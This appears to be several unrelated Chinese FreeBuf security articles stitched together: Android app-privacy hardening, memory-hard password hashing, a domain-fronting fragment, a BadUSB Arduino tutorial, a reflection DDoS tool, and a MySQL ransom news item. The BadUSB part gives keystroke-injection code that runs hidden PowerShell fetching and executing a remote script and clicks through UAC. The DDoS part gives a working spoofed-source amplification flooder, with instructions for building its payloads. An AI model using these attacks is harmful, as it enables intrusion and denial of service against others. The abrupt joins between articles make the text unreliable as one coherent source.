tumblr_inline_o6xf9b3IAi1r19dv9_1280.jpg

国产软件往往会申请与之功能不符的权限,读取着用户手机信息,开机后就驻足系统,这些对于注重隐私的用户来说都是问题。如何“干净”地安装国产流氓软件呢?笔者整理了一些思路供大家探讨。

国产app的全家桶问题一直被大家诟病,一个应用启动后就会“唤醒”其“家族”内的其他应用,有时还会通过其他方式确保应用始终在后台运行;与此同时,很多应用还会申请与之功能完全不符的权限,这些严重破坏了Android系统的体验。

要获得一个纯净的体验,我们需要解决的是两种问题,首先是软件自启动、驻足后台、频繁唤醒;其次是应用对手机信息的读取。对应这两个问题,我们要寻找各种解决方案,而手机本身的环境也是我们需要考虑的因素。笔者将“环境“分为三类:已安装Xposed框架、已root、未root,三种环境下解决问题的难度也各不相同。

Xposed

Xposed简单来说是一个框架,它可以不修改APK的情况下改变系统和应用程序的行为,所有的更改都在内存中。

如果你安装了Xposed,问题就变得简单了,得益于其强大的可定制性,Xposed中有大量应用软件能够满足你的需求。绿色守护(Greenify)的Xposed模式可以阻止应用在后台运行并且禁止链式唤醒,最近新加入的“处方”模式还可以屏蔽软件广播。

Android平台的应用程序分为七个优先级:前台进程、可见进程、主要服务、次要服务、后台进程、内容供应节点、空进程。

第6级别就是一些动作标记,程序设定了遇到什么节点时将采取什么动作,比如:插入耳机线,就是一个“内容供应节点”,收音机程序遇到这个“节点”就会激活并自启,变成后台进程了。要想收音机不会因此启动,有两个办法,要么屏蔽这个节点,使你无论是否插入耳机线,都不产生这个节点的信号,要么我们冻结收音机程序,让他感受不到这个节点。一些无良的应用,动不动就自己在后台启动了,就是这个道理。绿色守护能将一个程序绿化,就是使其感受不到“指定的”“内容供应节点”,从而当发生这些“节点”时,程序不会自动启动,除非用户自己让它启动(用户的点击程序图标也是一个“内容供应节点”)。

想要更直接地阻止应用后台运行,也可以使用“阻止运行”和“黑域”。

除了绿色守护,为了保障你的隐私,你还应该安装Xprivacy,这款软件可以设置软件读取隐私信息的权限。对于某些“流氓”应用强制用户开启权限的情况,Xprivacy还可以伪造随机信息从而保障隐私。原理也是利用Xposed框架能够修改内存信息的方法修改软件获取到的信息。

565009367188452541.png  186969661959223167.png 

Root

Android平台本来有类似iOS推送服务APNS的GCM(Google Cloud Messaging),但由于众所周知的原因,这项服务在国内非常不稳定,于是各大厂商就纷纷推出自己的推送服务,而利用这些推送服务,往往一个app开启后就会其他应用都可能关联启动,尤其以百度、阿里、腾讯为甚。这也就是前面所说的“全家桶”。

如果你Root了手机,写轮眼(My Android Tools)可以说是一款神器,它能够禁用activity、service、receiver、provider,其中的Service就包括软件用来接收推送的服务,因此,写轮眼(My Android Tools)可以阻止软件唤醒。除此之外由于能够禁用activity、service,它能做的还不止这些,经过合理配置,写轮眼能够帮你屏蔽广告,优化软件。

348759852042097543.png

对于那些不常用的软件,可以使用“冻结”类应用将他们禁用。“冰箱”就是其中的代表。它的原理非常简单,adb中提供了一个adb shell pm disable命令,在root权限下可以直接用来冻结app,而冰箱基本可以理解为使用了adb shell pm disable命令。不过它提供了非常方便的launcher,让你能够快速地启动冻结app。

436404800914951612.png

保护隐私方面,对于已经Root的手机,可以使用AppOps应用控制应用权限。很多国产ROM甚至系统原生ROM都有权限控制,但首先,这些权限往往不完整;其次,AppOps能将权限设置为ignore,很多国产软件会强制用户开启部分权限,设置ignore后,应用会得到数据,但数据为空,从而绕过这些权限申请。比如如果我们直接拒绝微信使用电话权限,就无法正常进入微信,而用AppOps将权限设为忽略就可以顺利进入。

548807995870182378.png 237945419321612689.png

左图为 通过系统权限管理拒绝微信读取设备ID,右图为 通过AppOps忽略微信读取设备ID请求

未Root

未Root手机其实本文的重点。笔者自从去年入手了S7 edge后就一直纠结于是否Root。Root后永久无法使用Samsung Pay,更可怕的是还会导致前置摄像头黑屏、系统卡顿发热等各种问题。可是又无法忍受各种流氓软件在手机里捣乱,因此一直在寻找方案。

对于TouchWiz系统,我们可以利用KNOX Standard SDK的机制冻结应用(包括系统应用),常见的利用这一机制的软件包括“空调狗”、“冻住”,它们都可以做到应用使用后立即冻结,从根源拒绝“关联启动”等流氓行为,只可惜这一机制只针对三星系列手机。

59004780468787091.png

隐私方面,可以通过AppOps将部分权限设置为ignore。实际上AppOps在Android 4.4.2之前是集成在系统中的,4.4.2之后,Google不知处于何种想法将其从系统中移除了,系统自身没有权限进行管理。上文中所使用的AppOps是以root为前提的。如果手机没有root,只有两种相对比较麻烦的方法,两种方法都需要电脑端操作。

一是通过电脑端adb进行设置:

adb shell appops set 包名 权限名称 ignore

其中权限名称包括:

READ_CONTACTS 读取联系人

POST_NOTIFICATION 通知

CALL_PHONE 拨打电话

READ_SMS 读取短信

WRITE_SMS 写入短信

RECEIVE_SMS 接收短信

OP_READ_PHONE_STATE 读取设备ID(包括IMEI)

FINE_LOCATION 定位权限

COARSE_LOCATION 定位权限

VIBRATE 震动

CAMERA 摄像头

WRITE_CLIPBOARD 写入剪切板

READ_EXTERNAL_STORAGE 读取外部存储空间

WRITE_EXTERNAL_STORAGE写入外部存储空间

BOOT_COMPLETED 开机时启动

GET_ACCOUNTS 获取设备账号信息

第二种方法是使用App Ops手机端软件,在免root模式下,App Ops使用远程adb进行权限控制,而远程adb仍然需要在电脑端开启:adb tcpip 5555,将端口号5555输入App Ops即可使用。但需要注意的是,重启后需要重新开启远程adb。

然而,想要完全将流氓软件隔离开来,我们要用到类似“沙盒”的机制。好在Android自从5.0以后就加入了Android for Work功能,功能的初衷是为了让大家在工作时能够使用自己的私人设备,通过Android for Work,我们可以建立“个人”和“工作”两套档案,工作档案由企业的IT管理员管理,为了安全起见,在两套方案中的应用无法互相访问,应用数据存储的区域其实也是不一样的,Island中的/data目录、内置存储空间、通话记录、联系人、日历等数据是与原用户独立的。

利用这种思路,我们也可以将这套机制用来对付流氓应用,将应用安装到工作档案后,它就无法获取到个人档案的应用和数据。Island就是利用Android for Work将流氓应用隔离在“岛”上的应用,这款软件与绿色守护出自同一作者,通过上述方式来实现类似沙盒的效果。

除了沙盒,Island还自带了冻结应用的功能。然而,使用了Island中自带的冻结功能后再次解冻时,该应用的AppOps状态就会被恢复到初始状态(也就是允许所有权限)需要重新设置权限。如上文所说,进行AppOps设置的两种方法都需要用到电脑,因此冻结后再解冻软件需要重新设置权限的成本较高。

124869754338902445.png

接下来我们就在沙盒环境内解决唤醒和隐私的问题。

唤醒问题我们可以通过在Island中安装绿色守护来解决。尽管是在非root环境下,它依然能够强制关闭程序(原理是通过Android辅助功能模拟点击“强制停止”程序)。建议开启“嗜睡模式”,它能够部分禁止应用的后台行为,该模式利用的是Android 6.0引入的Doze Mode。在睡眠状态下,系统将停止一些软件运行,例如一些非即时通讯软件的后台就会在锁屏的状态下被Android清理掉。从而达到节省电量、延长续航时间的作用。绿色守护中的“嗜睡模式”会将进入Doze Mode的时间缩短,从而进一步节省电量。

main-qimg-74497cf9d299509541c6a2c2b15a0158.png 

而隐私问题则可以通过在沙盒中安装App Ops来控制,或者同样地,可以通过电脑端adb操作,但需要注意的是由于沙盒实际上是在Android中使用了多用户,因此需要在参数中指定用户:

adb shell pm list users
adb shell appops get com.eg.android.AlipayGphone --user XX

adb2.png

除了上述方案,笔者最近还发现了一款名叫“容器”的应用。

27464467823348405.png

与Island的思路完全不同,该应用利用的是VirtualApp和文件夹重定向。VirtualApp会在你的App内创建一个虚拟空间,你可以在虚拟空间内任意的安装、启动和卸载APK,这一切都与外部隔离,如同一个沙盒。目前“容器”尚在开发中,但按照作者的说法,今后会加入隐私、权限的控制和应对流氓行为的功能。

总结

要想解决流氓app的唤醒和隐私读取问题,Xposed平台和Root后的手机上有各种简单的方案,包括Greenify与XPrivacy,而非root环境下则相对困难,我们可以使用Island创造Android for Work环境,我们可以把这环境看作沙盒,将应用安装在沙盒内,应用的启动问题则通过Android 6.0后引入的Doze Mode来解决。

想这么多方法来安装国产App,一方面是为了设备保持流畅的状态,不至于被各种唤醒的应用长期占据内存和耗电,另外也考虑到隐私问题。折腾安装国产应用,实际上是无奈之举,也希望国内的Android生态能够良性发展。

*本文作者:JohnChu,转载请注明来自FreeBuf(FreeBuf.COM)

前言

用过暴力破解工具 hashcat 的都知道,这款软件的强大之处在于它能充分利用 GPU 计算,比起 CPU 要快很多。所以在破解诸如 WiFi 握手包、数据库中的口令 Hash 值时,能大幅提高计算效率。

当然 GPU 仍属于通用硬件,显然还不是最优化的。要是为特定的算法打造特定的硬件,效率更是高出几个量级。比特币矿机就是很好的例子。

硬件的仍在不断进步,系统安全等级若不提高,暴力破解将会越来越容易。因此,一种能抵抗「硬件破解」的 Hash 算法,显得很有必要。

时间成本

在探讨如何对抗硬件之前,先来讲解过去是如何对抗「暴力破解」的。

一些经典的 Hash 算法,例如 MD5、SHA256 等,计算速度是非常快的。如果口令 Hash 用了这类函数,将来攻击者跑字典时,可达到非常高的速度。那些强度不高的口令,很容易被破解。

为了缓解这种状况,密码学家引入了「拉伸」的概念:反复 Hash 多次,从而增加计算时间。

例如 PBKDF2 算法就运用了这种思想。它的原理很简单,对指定函数 F 反复进行 N 次:

function PBKDF2(F, ..., N)
    ...
    for i = 0 to N
        ...
        x = F(x, ...)
        ...
    ...
    return x

这样就能灵活设定 Hash 的时间成本了。例如设定 10000,对开发者来说,只是多了几十毫秒的计算;但对于攻击者,破解速度就降低了一万倍!

时间成本局限性

PBKDF2 确实有很大的效果,但对于硬件破解,却无任何对抗措施。

因为 PBKDF2 只是对原函数简单封装,多执行几次而已。如果原函数不能对抗硬件,那么套一层 PBKDF2 同样也不能。

例如 WiFi 的 WPA2 协议,就是让 HMAC-SHA1 重复执行 4096 次:

DK = PBKDF2(HMAC−SHA1, Password, SSID, 4096, ...)

虽然相比单次 Hash 要慢上几千倍,但这并不妨碍硬件破解。

硬件依然可发挥其「高并发」优势,让每个线程分别计算不同口令的 PBKDF2:

线程 计算
1 PBKDF2(…, “12345678″, 4096, …) == KEY
2 PBKDF2(…, “00000000″, 4096, …) == KEY
100 PBKDF2(…, “88888888″, 4096, …) == KEY

虽然耗时确实增加了很多倍,但并没有影响到硬件的发挥。同样的破解,效率仍然远高于 CPU。

所以,时间成本并不能抵抗「硬件破解」。

空间成本

单论计算性能,硬件是非常逆天的,但再综合一些其他因素,或许就未必那么强大了。

假如某个硬件可开启 100 个线程同时破解,但总内存却只有 100M —— 这显然是个很大的短板。

如果有种 PBKDF 算法空间复杂度为 2M,那将会有一半的线程,因内存不足而无法运行!

若再极端些,将空间复杂度提高到 100M,那么整个硬件只能开启 1 个线程,99% 的算力都无法得到发挥!

这样,即使硬件的计算性能再强劲,也终将卡在内存这个瓶颈上。


不过,怎样才能让算法消耗这么多内存,同时又不能被轻易绕过?这里举个简单的例子:

function MemoryHard(..., M)
    int space[M]

    for i = 0 .. 10000
        x = Hash(x, ...)

        space[int(x) % M] ^= int(x)

    return Hash(space)

当然这个例子是随意写的,并不严谨。但主要思想是:

  • 引入了空间成本 M,并申请相应的内存

  • 利用经典 Hash 函数的结果,作为数组索引,对内存进行读写

  • 每次内存读写,都会影响到最终结果

由于 Hash 函数的结果是不可预测的,因此事先无法知道哪些位置会被访问。只有准备充足的内存,才能达到 O(1) 的访问速度。

攻击者要想达到同样的速度,就不得不花费同样多的内存!

时空权衡

通常硬件的「计算资源」要比「存储资源」充足得多,因此可考虑「时间换空间」的策略 —— 使用更复杂的存储管理机制,从而减少空间分配,这样就能开启更多的线程。

比如牺牲 40% 的速度,换取 50% 的空间:

方案 可用内存 空间分配 可用线程 单线程速度 总速度
A 1000M 100M 10 / 100 10 hash/s 100 hash/s
B 1000M 50M 20 / 100 6 hash/s 120 hash/s

由于空间成本是之前的一半,因此可多启动一倍的线程。算上折损,最终速度仍增加了 20%。

当然,如果 性能折损比例 > 空间压缩比例,这个方案就没有意义了。

访问瓶颈

事实上,内存除了容量外,访问频率也是有限制的。

就内存本身而言,每秒读写次数是有上限的。其次,计算单元和内存之间的交互,更是一大瓶颈。

像 MD5、SHA256 这类 Hash 函数,空间复杂度非常低。硬件破解时,每个计算单元光靠自身的寄存器以及高速缓存,就差不多够用了,很少需要访问内存。

但对于 Memory-Hard 函数,就没那么顺利了。它不仅很占内存,而且还十分频繁地「随机访问」内存,因此很难命中高速缓存。这使得每次访问,几乎都会和内存进行交互,从而占用大量带宽。

如果有多个计算单元频繁访问,那么内存带宽就会成为瓶颈。这样,也能起到抑制并发的效果!

例如 bcrypt 算法就运用了类似思想,它在计算过程中频繁访问 4KB 的内存空间,从而消耗带宽资源。

不过随着硬件发展,bcrypt 的优势也在逐渐降低。为了能更灵活地设定内存大小,scrypt 算法出现了 —— 它既有时间成本,还有空间成本,这样就能更持久地对抗。

当然,空间成本也不是绝对有效的。如果攻击者不惜代价,制造出存储「容量」和「带宽」都很充足的硬件设备,那么仍能高效地进行破解。

并行维度

十几年来,内存容量翻了好几翻,但 CPU 主频却没有很大提升。由于受到物理因素的制约,主频已很难提升,只能朝着多核发展。

然而像 PBKDF2 这样的算法,却只能使用单线程计算 —— 因为它每次 Hash 都依赖上一次的 Hash 结果。这种串行的模式,是无法拆解成多个任务的,也就无法享受多线程的优势。

这就意味着 —— 时间成本,终将达到一个瓶颈!

对此,多线程真的无能为力吗?

尽管单次 PBKDF 不能被拆解,但可以要求多次 PBKDF,并且互相没有依赖。这样多线程就能派上用场了。

例如我们对 PBKDF 进行封装,要求执行 4 次完全独立的计算,最后再将结果融合到一起:

function Parall(Password, Salt, ...)

    -- 该部分可被并行 --
    for i = 0 .. 4
        DK[i] = PBKDF(Password, Salt + i, ...)
    ------------------

    return Hash(DK)

这样,我们即可开启 4 个线程,同时计算这 4 个 PBKDF。

现在就能用 1 秒的时间,获得之前 4 秒的强度!攻击者破解时,成本就增加了 4 倍。

如今主流的口令 Hash 函数都支持「并行维度」。例如 scrypt 以及更先进的 argon2,都可通过参数 p 设定。

线程开销

现实中,「线程数」未必要和「并行维度」一样多,因为还得考虑「空间成本」。

假设上述的 PBKDF 空间成本有 512MB,如果开启 4 个线程,就得占用 2GB 的内存!若用户只有 1.5 GB 的空闲内存,还不如只开 2 个线程,反而会更顺畅。

当然,也可以开 3 个线程,但这样会更快吗?显然不会!

因为 4 个任务分给 3 个线程,总有一个线程得做两份,所以最终用时并没有缩短。反而增加了线程创建、内存申请等开销。

这里有个 scrypt 算法在线演示:https://etherdream.github.io/webscrypt/example/basic/

大家可体会下 时空成本(N)、并行维度(P)、线程数(Thread)对计算的影响。

小结

到此,我们讲解了 3 个对抗破解的因素:

  • 时间成本(迭代次数)

  • 空间成本(内存容量、带宽)

  • 并行维度(多线程资源)

或许你已感悟到这其中的理念 —— 让 Hash 算法牵涉更多的硬件能力。这样,只有综合性能高的硬件,才能顺利运行;专为某个功能打造的硬件,就会出现瓶颈!

照这个思路,我们也可发挥想象:假如有个算法使用了不少条件分支指令,而 CPU 正好拥有强大的分支预测功能。这样该算法在 CPU 上运行时,就能获得很高的性能;而在其他精简过的硬件上,就没有这么好的效果了。

当然这里纯属想象,自创密码学算法是不推荐的。现实中还是得用更权威的算法,例如 argon2scrypt 等。

应用

本文提到的对抗方案,都是从硬件消耗上进行的。不过,这样伤敌一千也会自损八百。

假如服务器每 Hash 一次口令,就得花 1 秒时间加 1GB 内存,那么一旦有几十个人同时访问,系统可能就支撑不住了。

有什么办法,既能使用高成本的 Hash,又不耗费服务器资源?事实上,口令 Hash 完全可以在客户端计算:

DK = Client_PBKDF(Password, Username, Cost ...)

因为口令与 DK 的对应关系是唯一的。账号注册时,提交的就是 DK;登录时,如果提交的 DK 相同,也就证明口令是相同的。

所以客户端无需提供原始口令,服务端也能认证,这就是「零知识证明」。使用这种方案,还能进一步减少口令泄露的环节,例如网络被窃听、服务端恶意程序等。

当然,服务端收到 DK 后,还不能立即存储。因为万一 DK 泄露了,攻击者还是能用它登上用户的账号 —— 尽管不知道口令。

因此,服务端需对 DK 再进行 Hash 处理。

不过这一次,只需快速的 Hash 函数即可。因为 DK 是无规律的数据(熵很高),无法通过跑字典还原,所以用简单的 Hash 就能保护。

这样,服务器只需极小的计算开销,就能实现高强度的口令安全了!

将来即使被拖库,攻击者也只能使用如下 Hash 函数跑字典:

f(x) => server_hash( client_hash(x) )

因为其中用到了 client_hash,所以这个最终函数同样能对抗硬件破解!

演示

根据上述思想,这里做个简单的演示,放在我的虚拟空间里:http://www.etherdream.com/webscrypt/example/login/ 

(并且 后台程序和数据 都是公开的,模拟被拖库的场景)

事实上,这个虚拟空间的配置非常低,但这并不影响高强度口令的实现 —— 只要你的电脑配置高、浏览器版本新,那就够了!

尽管这其中都是不能再弱的数字口令,不过相比简单使用 MD5、SHA256 这些的,成本至少高百万倍以上!大家试试多久能破解,成功了会显示红包哦 :)

*本文作者:EtherDream,转载请注明来自Freebuf.COM

最近看到了一些关于Domain Fronting的技术,感觉很有意思,其特点在于,你真正访问的域名并不是你看到的域名,并且此技术能够让我们在一些受限制的网络中依然连接到我们的C2服务器。

*本文原创作者:ya0guang,本文属FreeBuf原创奖励计划,未经许可禁止转载

引言

鉴于硬件安全对于大多数新人是较少接触的,而这方面又非常吸引我,但是部分专业安全研究设备较高的价格使人望而却步。在该系列中,笔者希望对此感兴趣的读者在花费较少金钱的情况下体会到硬件安全的魅力所在。本系列计划分成四个部分:BadUSB on Arduino; RFID on PN532; GSM on Motorola C118 ; SDR on RTL2832U(电视棒)。

背景

BadUSB早在2014年底的PacSec会议上便已经提出,这是USB协议中的一个漏洞————USB设备可以伪装成为其他任何设备,例如输入设备、网卡等等。这个漏洞目前还没有得到修复,几乎可以说在有合适的脚本的情况下,只要能够插进去,没有什么是黑不掉的!

2014年的PPT参考如下:

https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf

常见硬件介绍

Psychson

事实上这是Github上的一个开源项目,由于世面上的部分U盘的芯片可以Hack,所以通过比较Geek的方式可以让U盘实现BadUSB的功能。但是项目已经两年没有更新过了,支持的许多硬件也已经停产或者更换了新的主控芯片,笔者也尝试着使用之但是失败了。

伪装性:★★★★★

易开发:★★

社区支持:★★

项目主页:

https://github.com/brandonlw/Psychson

Rubber Ducky

Rubber Ducky 结构图

中文名橡皮鸭,外观酷(就)似(是)普通的U盘,但是却藏着一颗蔫坏的芯。其结构如图,特点在于可以拆卸并且使用SD卡,可以随时更换Payload,而且十分容易伪装!以至于美剧 《Mr. Robot》里的主角用该设备成功引起了警察的注意(并黑掉了他。但是Hak5上的Rubber Ducky 需要45美刀,这无疑是笔者承受不起的!况且其配送地区还Ban了中国!不过其项目中的脚本还是很值得我们去参考学习的!

伪装性:★★★★

易开发:★★★☆

社区支持:★★★★

Hak5链接:

https://hakshop.com/products/usb-rubber-ducky-deluxe

官方Payloads

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

Teensy USB

[Teensy USB

一款USB微控制器开发板,想必便可以当作键盘鼠标来用啦!可以看到部分款式也有插存储卡的地方,价格总体上也达到了Rubber Ducky的一半,但是美刀对于我们而言还是略贵的!

伪装性:★★

易开发:★★★

社区支持:★★★

Arduino Leonardo

这才是我们今天的主角,其以20-40RMB的售价成为了穷黑客的(我)的首选!而且Arduino的编程对初学者也相当的友好。 笔者的芯片如图:

我的Arduino Leonardo

首先,我们需要对Arduino进行设置,更改“串口”和“开发板”选项:

Arduino IDE settings

下面开始编写Payload。事实上Payload就是通过键盘来执行一系列的指令来达到某些目的,比如植入后门,反弹shell等。我们需要以此为思路进行程序的编写。

启动方式

程序的大致结构如下:

#include <Keyboard.h>
void setup() {
  //Payload
}
void loop() {
  //none
}

用到了一个Keyboard库定义了按键,键盘上一些无法输入的按键需要查看定义的名称,其库文件在github上也可以看到:
https://github.com/arduino-libraries/Keyboard/blob/master/src/Keyboard.h

其中对我们有用的只有setup,即板子上电,也就是插入的瞬间便开始执行的部分,loop部分留空。

笔者本人用的windos系统,这里仅讨论windos。若要在windows下仅仅通过键盘执行一段脚本或程序,最经典的方式就是Ctrl+R了。在windos8及以上的操作系统中Win键+S之后,输入powershell或cmd,之后再按回车也可以开始写命令。

代码如下,蛋疼的地方在于中文的输入法可以很大程度上避免被BadUSB攻击,但是我们在脚本中也可以利用默认的一些快捷键切换到英文输入法。再加上Windows系统不区分大小写,从某些程度上讲只用到大写锁定键足矣。

delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
//针对shift+ctrl切换输入法
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);
//针对win8及以上部分操作系统改换中文输入
Keyboard.press(KEY_LEFT_GUI);
Keyboard.println(' ');
//某些输入法的中英文切换
Keyboard.press(KEY_LEFT_SHIFT);
//暴力直接切换成英文
Keyboard.press(KEY_CAPS_LOCK)
//手动释放按键
Keyboard.releaseAll();

powershell的各种姿势

既然“运行”对话框已经打开,下一步需要做的便是执行代码了。在这里我们需要用到一些powershell启动的高级姿势。

启动选项

在cmd或者powershell中输入”powershell -?”便可以得到所有的启动选项,这里我们主要关注其中的两个:ExecutionPolicy和WindowStyle。由于powershell的默认ExecutionPolicy是RemoteSigned。即下载脚本必须可信,换句话说就是用户脚本不能执行。所以我们需要设置该字段为Unrestricted或者Bypass。而WindowStyle设置为Hidden时可以隐藏窗口执行,这对隐蔽性很有帮助。

例如,我们可以在运行中输入:

powershell -executionpolicy bypass -windowstyle hidden ping www.baidu.com  > d:\test.txt

可以看到test.txt内容如下:

正在 Ping www.a.shifen.com [119.75.218.70] 具有 32 字节的数据:
来自 119.75.218.70 的回复: 字节=32 时间=23ms TTL=53
来自 119.75.218.70 的回复: 字节=32 时间=23ms TTL=53
来自 119.75.218.70 的回复: 字节=32 时间=24ms TTL=53
来自 119.75.218.70 的回复: 字节=32 时间=23ms TTL=53

119.75.218.70 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 23ms,最长 = 24ms,平均 = 23ms

除此之外,还可以直接从base64编码执行,这样可以直接bypass antivirus software。这是一种更为强大的运行姿势。

远程执行

事实上,bypass的目的真正是为了执行来自远程服务器的脚本。这里有一个用法:

powershell -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://your.site/file.ps1');

这里牵扯到了powershell的强大之处,其可以直接创建对象。上面的意思是从下载一个远程脚本并执行。显然远程脚本相对于把payload写在一行更加优雅,而且更加灵活。最重要的原因还是此arduino开发板的存储空间太小,并不能容纳太长的脚本。

这里推荐一个powershell的渗透框架:nishang

项目地址:https://github.com/samratashok/nishang

nishang的强大之处在于其几乎可以实现一个后门可以实现的所有。

据笔者了解,metasploit也支持生产powershell的payload了。

公网上的powershell脚本可以通过github的raw浏览服务、一些在线的文本存储服务,甚至是用ngrok做一个web服务器的映射来完成临时、隐蔽的发送。

Bypass UAC

后续的代码如下,其中后面的部分是为了处理UAC,即一个弹出用户确认的对话框。

Keyboard.println("powershell -ExecutionPolicy Bypass IEX (New-Object 
Net.WebClient).DownloadString('http://your.site/file.ps1');");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2500);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_ALT);
Keyboard.println('y');  
Keyboard.releaseAll();
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1500)

结语

Powershell与BadUSB的结合可以在Windows下办到很多事情,BadUSB的渗透方案也不仅仅限于键盘输入,鼠标输入甚至网卡都是可以作为攻击工具。笔者在Kali Nethunter上就见到了将手机作为网卡来嗅探流量的用法。虽然距离漏洞正式发布已经过去了整整两年时间,但是这一漏洞短时间内还将普遍存在于各大操作系统以及USB协议中,更高级的姿势还需要自己去探索!

*本文原创作者:ya0guang,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 前言

之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章,本来今天的这个应该并到那篇文章里,共称为反射DDOS攻击扫描与利用,但是我怕这样做会教坏小孩子,我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了,弄得我都不敢发利用代码了,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把payload去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完下班了。

0×02 代码的使用方法

首先,我这是在linux环境下写的,开始我用windows开发的,但是总是不成功,调用python的原始套接字伪造源IP地址总是不能发出去,后来我换到linux上就好了(kali),我并没有调用第三方的库,只要是linux+python就可以执行,在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP地址,端口号):

QQ截图20170217151018.png

利用代码就是如下这些了。。。。

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
import struct
import random
import threading

class myThread (threading.Thread):   
    def __init__(self,srcip,srcport):
        threading.Thread.__init__(self)	 
        self.srcip = srcip
        self.srcport =srcport
		 
    def run(self):                    
        re_att(self.srcip,self.srcport)

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s

def IP(source,destination,udplen):
	version = 4
	ihl = 5
	tos = 0
	tl = 20+udplen
	ip_id = random.randint(1,65530)
	flags = 0 
	offset = 0
	ttl = 128
	protocol =17
	check =0
	source = socket.inet_aton(source)
	destination = socket.inet_aton(destination)

	ver_ihl = (version << 4)+ihl
	flags_offset = (flags << 13)+offset
	ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    check,
                    source,
                    destination)
	check=checksum(ip_header)
	ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    socket.htons(check),
                    source,
                    destination)  
	return ip_header

def udp(sp,dp,datalen):
	srcport=sp
	dstport=dp
	udplen=8+datalen
	udp_checksum=0
	udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
	return udp_header


def re_att(srcip,srcport):
	NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包
	DNS_data=#payload需要你们自己写啊
	SNMP_data=#payload需要你们自己写啊

	n=len(ipaddr)-1
	while 1:
		i=random.randint(0,n)
		ip_port=ipaddr[i]
		dstip=ip_port[0]
		dstport=int(ip_port[1])
		if dstport==123:
			data=NTP_data
		elif dstport==53:
			data=DNS_data
		elif dstport==161:
			data=SNMP_data
		else:
			print 'dest port error!'
		datalen=len(data)
		udp_header=udp(srcport,dstport,datalen)
		ip_header=IP(srcip,dstip,len(udp_header)+datalen)
		ip_packet=ip_header+udp_header+data
		s.sendto(ip_packet,(dstip,dstport))

proto_udp=17
proto_tcp=6
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
ipaddr=[]
f = open("ipaddress.txt","r")
lines=f.readlines()
for line in lines:
	line=line.strip('\r\n')
	l=line.split(',')
	ipaddr.append(l)

srcip=raw_input('attack IP:')
srcport=int(input('attack PORT:'))
threads=int(input("线程数threads:"))

threads_name=[]
need=(srcip,srcport)	
for i in range(threads):
	threads_name.append('teread'+str(i))

for i in range(threads):	
	threads_name[i]=myThread(srcip,srcport)

for i in range(threads):
	threads_name[i].start()


#这个攻击没有结束,想停就直接关了终端就可以了

#这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了

这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包

第一步,打开kali whireshark抓包,然后开终端,用dig工具

QQ截图20170217152320.png

QQ截图20170217152839.png

看,这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍

第二步,点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制,为hex转储

QQ截图20170217152413.png

第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了吗,把前面的0000那些删掉,再把这些字符以‘\xdf’+’\xdb’+…..这种形式连起来就可以了

QQ截图20170217152446.png

第四步,剩下的就自己去领悟吧,别的payload道理差不多,有能力就自己写,想简单点就去复制一下也可以,我可没教你们什么,其他的都是你们自己领悟出来的。。。。。。

*本文作者:黑戈爾,转载请注明来自Freebuf

随着MongoDB, ElasticSearch, Hadoop, CouchDB和Cassandra服务器的的沦陷,MySQL数据库成了攻击者的下一个猎杀目标。他们劫持了数百个MySQL数据库(也可能是上千个),删除了存储数据,并留下勒索信息,要求支付0.2比特币的赎金(约为235美元)。

MySQL-Logo.jpg

PLEASE_READ.WARNING

攻击由2月12日凌晨00:15发起,在短短30个小时内,攻击者拿下了成百上千个暴露在公网的MySQL服务器。经调查人员发现,在此次勒索攻击中,所有的攻击皆来自相同的IP地址,109.236.88.20,属于荷兰的一家网络托管服务提供公司WorldStream

攻击者(可能)利用了一台被盗的邮件服务器,该服务器同样可以提供HTTP(s)和FTP服务器所提供的服务。

